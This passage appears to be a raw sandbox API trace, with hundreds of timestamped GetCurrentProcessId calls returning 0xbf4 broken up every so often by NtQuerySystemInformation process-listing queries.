GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0232.941] GetCurrentProcessId () returned 0xbf4 [0233.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.603] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.604] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.605] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0233.606] GetCurrentProcessId () returned 0xbf4 [0234.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.324] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.325] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.326] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.327] GetCurrentProcessId () returned 0xbf4 [0234.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.959] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.960] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.961] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.962] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0234.963] GetCurrentProcessId () returned 0xbf4 [0235.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0235.595] GetCurrentProcessId () returned 0xbf4 [0235.595] GetCurrentProcessId () returned 0xbf4 [0235.595] GetCurrentProcessId () returned 0xbf4 [0235.595] GetCurrentProcessId () returned 0xbf4 [0235.595] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.596] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.597] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.598] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0235.599] GetCurrentProcessId () returned 0xbf4 [0236.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.301] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.302] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.303] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.304] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] GetCurrentProcessId () returned 0xbf4 [0236.305] 